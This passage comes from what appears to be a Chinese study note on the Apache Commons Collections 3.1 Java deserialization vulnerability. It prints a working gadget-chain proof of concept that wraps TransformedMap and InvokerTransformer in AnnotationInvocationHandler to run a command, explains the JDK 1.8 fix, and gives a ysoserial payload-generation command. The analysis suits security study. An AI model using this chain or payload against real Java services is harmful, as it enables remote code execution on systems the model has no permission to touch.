HashMap(); 383 | map.put("value", "sijidou"); 384 | Map transformedMap = TransformedMap.decorate(map, null, transformerChain); 385 | 386 | //序列化 387 | FileOutputStream fileOutputStream = new FileOutputStream("serialize2.txt"); 388 | ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); 389 | objectOutputStream.writeObject(transformedMap); 390 | objectOutputStream.close(); 391 | 392 | //反序列化 393 | FileInputStream fileInputStream = new FileInputStream("serialize2.txt"); 394 | ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); 395 | Map result = (TransformedMap)objectInputStream.readObject(); 396 | objectInputStream.close(); 397 | System.out.println(result); 398 | 399 | Map.Entry onlyElement = (Map.Entry) result.entrySet().iterator().next(); 400 | onlyElement.setValue("foobar"); 401 | ``` 402 | 403 | 该情况可以触发,但是现实中往往不一定存在把数据反序列化后,再调用其中TransformedMap的Map.Entry类型的setValue方法 404 | 405 | 在java中,自带的类中还有一个类叫做`AnnotationInvocationHandler` 406 | 407 | 该类中重写的readObject方法在被调用时会将其中的map,转成Map.Entry,并执行setValue操作,那么能把`TransformedMap`装入这个`AnnotationInvocationHandler`类,再传过去,就可以不用考虑之后代码是否执行`setValue`就可以直接利用漏洞了 408 | 409 | ``` 410 | private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { 411 | var1.defaultReadObject(); 412 | AnnotationType var2 = null; 413 | 414 | try { 415 | var2 = AnnotationType.getInstance(this.type); 416 | } catch (IllegalArgumentException var9) { 417 | throw new InvalidObjectException("Non-annotation type in annotation serial stream"); 418 | } 419 | 420 | Map var3 = var2.memberTypes(); 421 | Iterator var4 = this.memberValues.entrySet().iterator(); 422 | 423 | while(var4.hasNext()) { 424 | Entry var5 = (Entry)var4.next(); 425 | String var6 = (String)var5.getKey(); 426 | Class var7 = (Class)var3.get(var6); 427 | if (var7 != null) { 428 | Object var8 = var5.getValue(); 429 | if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { 430 | var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); 431 | } 432 | } 433 | } 434 | 435 | } 436 | } 437 | ``` 438 | 439 | setValue的点在这一行 440 | 441 | ``` 442 | var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); 443 | ``` 444 | 445 | 最后利用的payload如下 446 | 447 | ``` 448 | package Serialize2; 449 | 450 | 451 | import org.apache.commons.collections.Transformer; 452 | import org.apache.commons.collections.functors.ChainedTransformer; 453 | import org.apache.commons.collections.functors.ConstantTransformer; 454 | import org.apache.commons.collections.functors.InvokerTransformer; 455 | import org.apache.commons.collections.map.TransformedMap; 456 | 457 | import java.io.*; 458 | import java.lang.annotation.Target; 459 | import java.lang.reflect.Constructor; 460 | import java.util.HashMap; 461 | import java.util.Map; 462 | 463 | public class ApacheSerialize2 implements Serializable { 464 | public static void main(String[] args) throws Exception{ 465 | Transformer[] transformers = new Transformer[]{ 466 | new ConstantTransformer(Runtime.class), 467 | new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), 468 | new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), 469 | new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) 470 | }; 471 | Transformer transformerChain = new ChainedTransformer(transformers); 472 | 473 | Map map = new HashMap(); 474 | map.put("value", "sijidou"); 475 | Map transformedMap = TransformedMap.decorate(map, null, transformerChain); 476 | 477 | Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 478 | Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); 479 | ctor.setAccessible(true); 480 | Object instance = ctor.newInstance(Target.class, transformedMap); 481 | 482 | //序列化 483 | FileOutputStream fileOutputStream = new FileOutputStream("serialize3.txt"); 484 | ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); 485 | objectOutputStream.writeObject(instance); 486 | objectOutputStream.close(); 487 | 488 | //反序列化 489 | FileInputStream fileInputStream = new FileInputStream("serialize3.txt"); 490 | ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); 491 | Object result = objectInputStream.readObject(); 492 | objectInputStream.close(); 493 | System.out.println(result); 494 | 495 | } 496 | } 497 | ``` 498 | 499 | 为什么jdk为1.8就无法这么利用了,看jdk1.8的`AnnotationInvocationHandler`源码,readObject中在jdk1.7的`setValue`已经变成了 500 | 501 | ``` 502 | var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10)); 503 | ``` 504 | 505 | 506 | 507 | ``` 508 | private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { 509 | GetField var2 = var1.readFields(); 510 | Class var3 = (Class)var2.get("type", (Object)null); 511 | Map var4 = (Map)var2.get("memberValues", (Object)null); 512 | AnnotationType var5 = null; 513 | 514 | try { 515 | var5 = AnnotationType.getInstance(var3); 516 | } catch (IllegalArgumentException var13) { 517 | throw new InvalidObjectException("Non-annotation type in annotation serial stream"); 518 | } 519 | 520 | Map var6 = var5.memberTypes(); 521 | LinkedHashMap var7 = new LinkedHashMap(); 522 | 523 | String var10; 524 | Object var11; 525 | for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) { 526 | Entry var9 = (Entry)var8.next(); 527 | var10 = (String)var9.getKey(); 528 | var11 = null; 529 | Class var12 = (Class)var6.get(var10); 530 | if (var12 != null) { 531 | var11 = var9.getValue(); 532 | if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) { 533 | var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10)); 534 | } 535 | } 536 | } 537 | 538 | AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3); 539 | AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7); 540 | } 541 | ``` 542 | 543 | ysoserial的包里面也有commons-collectons-3.1的payload,它利用的是jdk中的BadAttributeValueExpException这个类重写readObject来实现的 544 | 545 | ysoserial的使用方法 546 | 547 | ``` 548 | java -jar ysoserial.jar CommonsCollections1 calc.exe > 1.txt 549 | ``` 550 | 551 | 把1.txt 里面的内容反序列化化即可触发生成calc.exe的命令 552 | 553 | 554 | 555 | 556 | 557 | https://www.cnblogs.com/ysocean/p/6516248.html 558 | 559 | https://www.freebuf.com/vuls/170344.html 560 | 561 | https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/ 562 | 563 | https://www.cnblogs.com/luoxn28/p/5686794.html 564 | --------------------------------------------------------------------------------